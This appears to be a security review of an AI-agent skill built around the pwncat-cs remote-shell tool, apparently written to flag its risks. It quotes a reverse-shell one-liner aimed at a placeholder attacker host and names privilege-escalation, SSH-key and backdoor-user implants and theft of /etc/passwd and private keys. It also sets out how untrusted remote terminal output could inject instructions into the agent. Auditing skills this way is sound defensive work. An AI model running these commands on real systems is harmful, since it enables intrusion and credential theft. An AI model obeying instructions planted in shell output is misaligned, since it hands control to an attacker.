The Agent Skills Directory

[COMMAND_EXECUTION]: The skill provides extensive instructions for using the pwncat-cs command-line tool to manage remote shell sessions.
Found in SKILL.md and references/connection-modes-and-opsec.md, documenting listener setup and bind shell connections.
Documentation encourages executing shell commands on remote targets such as id, uname -a, and chmod +x.
[REMOTE_CODE_EXECUTION]: The skill provides patterns for establishing interactive reverse shell connections.
SKILL.md and references/connection-modes-and-opsec.md contain the bash -i >& /dev/tcp/ATTACKER/4444 0>&1 pattern for target callbacks.
[PRIVILEGE_ESCALATION]: The skill details workflows to programmatically acquire elevated permissions on a target system.
SKILL.md and references/module-workflow-cheatsheet.md describe using escalate list and escalate run to discover and exploit privilege escalation paths, including recursive chaining to reach root.
[PERSISTENCE]: The skill documents the use of implant modules to maintain access across sessions.
SKILL.md and references/module-workflow-cheatsheet.md describe installing authorized SSH keys via implant.authorized_key.
Documentation includes instructions for implant.passwd to create backdoor users (svc-backup) and implant.pam to modify authentication modules.
[DATA_EXFILTRATION]: The skill includes patterns for accessing and downloading sensitive configuration and identity files.
SKILL.md demonstrates using the download command for /etc/passwd.
Documentation references reading SSH identity files from ~/.ssh/id_rsa and ~/.ssh/id_rsa.pub.
[INDIRECT_PROMPT_INJECTION]: The skill defines a workflow where the agent processes untrusted output from a remote target.
Ingestion points: The agent reads and reacts to the output of a remote tty in 'remote mode' (documented in SKILL.md).
Boundary markers: None provided; the agent is not instructed to disregard or sanitize instructions that may be emitted by the target system into the shell buffer.
Capability inventory: Across all files, the skill grants the agent capabilities for shell command execution, file system modification, privilege escalation, and persistence management.
Sanitization: There is no documented validation or escaping of terminal output before it is processed by the agent's logic.

pwncat